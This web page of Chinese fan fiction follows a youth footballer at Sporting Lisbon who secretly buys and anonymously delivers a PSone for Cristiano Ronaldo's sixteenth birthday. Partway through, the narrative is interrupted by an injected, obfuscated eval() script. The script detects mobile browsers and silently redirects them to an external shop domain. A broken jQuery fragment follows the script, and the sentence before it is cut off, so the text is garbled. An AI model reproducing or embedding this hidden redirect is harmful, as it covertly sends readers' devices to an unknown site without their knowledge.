这场被抓的风波延续了一个月，第二天维克多就被马丁斯安排去了守门，而鲁伊被罚了三组速耐……U12和U16的训练场地不在一起，所以维克多不知道克里斯被教练安排了什么。但是他在午餐的时候，在食堂远远看见了兴高采烈的克里斯蒂亚诺，看起来并没有受到什么影响。倒是旁边的法比奥和米格尔感觉都累得要命。
其实维克多自己也累的要命，守门训练对体能和反应速度的消耗不比前场进攻少，更别提他对此毫无经验。手忙脚乱地扑完几十脚射门之后，他连端餐盘的手都在抖。不过挨罚归挨罚，他心里倒没觉得有多委屈——至少那天晚上能和克里斯并肩站在游戏机前打了半局拳皇，这点小罚就算赚到了。
赚到归赚到，他还是拍着鲁伊的肩膀：“我理解你了，兄弟，我再也不想守门了……”鲁伊累的没空嘲笑他，而是正在祈祷自己的零花钱不要惨遭毒手。
努诺·纳雷真的给他们的家长都打了电话，弗朗西斯卡和佩德罗在电话里满口答应会好好教育孩子，实际上，两个人都没觉得这是什么大事。在维克多周末回外婆家时，他们甚至还淡淡的问他想不想要一台游戏机作为今年的生日礼物，或者他们可以多给他一些零花钱，毕竟现在里斯本竞技已经在给他发补贴了。
维克多短暂地思考了一下，他本想拒绝，因为他并不是多么狂热的游戏爱好者。但父母的问题提醒了他，现在快要一月末了，再过一周……就是2月5号，克里斯蒂亚诺是不是该过生日了？他会喜欢一台游戏机作为他的生日礼物吗？他仅仅犹豫了一秒就开始点头：“如果多给我一些零花钱就太好了！我刚好有好朋友要过生日！我想给他准备一份礼物！”
弗朗西斯卡看上去有点好奇：“你的哪个朋友？帕特里西奥吗？”维克多摇摇头，他还没和父母讲过克里斯蒂亚诺呢，他要怎么和爸爸妈妈介绍克里斯呢……他想了一下：“他叫克里斯蒂亚诺·罗纳尔多，是我们俱乐部最厉害的球员！”
佩德罗在旁边笑了：“你们可都还是青训球员呢，已经是‘俱乐部最厉害’的了？我听说你们一线队的夸雷斯马也很厉害啊。”维克多瞪了父亲一眼，但他知道此刻在父亲眼里，一个青训营的小球员自然不会是整个俱乐部最厉害的人，但是他还是忍不住开口辩驳：
“他成为最好的球员也只是需要一点点时间！”
他的父母没有真的在意儿子的说法，两个人商量了一下，维克多下个月的零花钱就变成了五十欧。他高兴地抱了抱父母，一溜烟跑回了自己的卧室。他翻出枕头底下藏着的小本子，数了数自己攒了快半年的零花钱，加上父母多给的这五十欧，应该够买一台PSone了。
他已经想好了，直接送这份礼物是不行的，刚刚认识一个多赛季的朋友还没有理由随便送一台游戏机……但是他可以包装好，然后悄悄留下一份匿名贺卡。
他不需要克里斯蒂亚诺知道。
第二天，维克多趁着训练课结束的空档，在午饭时间跑了出去，找到俱乐部附近那家最大的游戏机专营店。站在玻璃柜台前，看着摆得整整齐齐的全新PSone主机，推开门走了进去。店员小姐姐笑着问他有什么需要，维克多指向那台游戏机：“您好，我想把它送给朋友做生日礼物。”
店员帮他把主机和手柄打包进纸盒，然后抽出一沓漂亮的包装纸问维克多：“我们可以帮你包装，你想要什么颜色？”
维克多犹豫了一下，那一瞬间他想到了很多颜色，绿色、红色、白色、金色、蓝色，那些颜色乱七八糟的泼在他的眼前，他闭上眼又睁开，最终礼貌地告诉店员：“红色，谢谢。”其实他觉得那些颜色都很合适，只是那一瞬间觉得红色最衬他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780101|209324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
#
2001年2月4日晚上，维克多躲在了公寓里，鲁伊下楼去打游戏了，应该是熄灯前都不会回来。他把门悄悄反锁了，拿出自己买的贺卡，开始绞尽脑汁到底写什么祝福。
明明是在做好事，给朋友准备礼物，可是维克多硬生生感受到了几分做贼心虚，毕竟一旦被鲁伊或者谁撞见，他就不好解释了！他给蒂亚戈都没准备过这样的礼物。
他刚刚写下“祝未来的金球先生生日快乐”，就马上把这张丢到了一边，太吓人了，现在克里斯才十六岁，这样的祝福会显得很奇怪。他想了很多个祝福，可是每一个都让他不满意，丢在旁边的贺卡越来越多，还剩最后两张空白贺卡——
最后维克多咬咬牙，只认认真真地写了一行字：
生日快乐，克里斯蒂亚诺。
祝你成为世界上最好的球员。
他写字的时候故意转换了字体，保证和平时做卷子的时候一点都不像。他把贺卡粘在包装盒子上，打开门，溜进了走廊。傍晚的公寓楼没有什么人，他感觉自己的脚步声仿佛也被放大了数倍。他把盒子放在克里斯房间的门旁边，靠在墙边站了两分钟，确认了一下这是克里斯一开门就能看到的位置，听见走廊远处传来脚步声，赶紧慌慌张张地躲进了安全通道。
回到公寓房间的时候鲁伊已经打完游戏回来了，他问：“你今晚不是说要休息吗？怎么刚刚又不在？”
“我有点饿了，刚刚在楼下买了点东西吃。”维克多含糊的回应着，他关了灯和鲁伊一起躺下，盖着被子，却并没有陷入梦乡。世界变得很安静了，他能听到鲁伊平稳而绵长的呼吸声。他盯着床对面墙上的钟表，夜光的指针一点点走向了零点，在时针、分针、秒针重合的那一刻，他在心里轻轻地说：
克里斯蒂亚诺，生日快乐。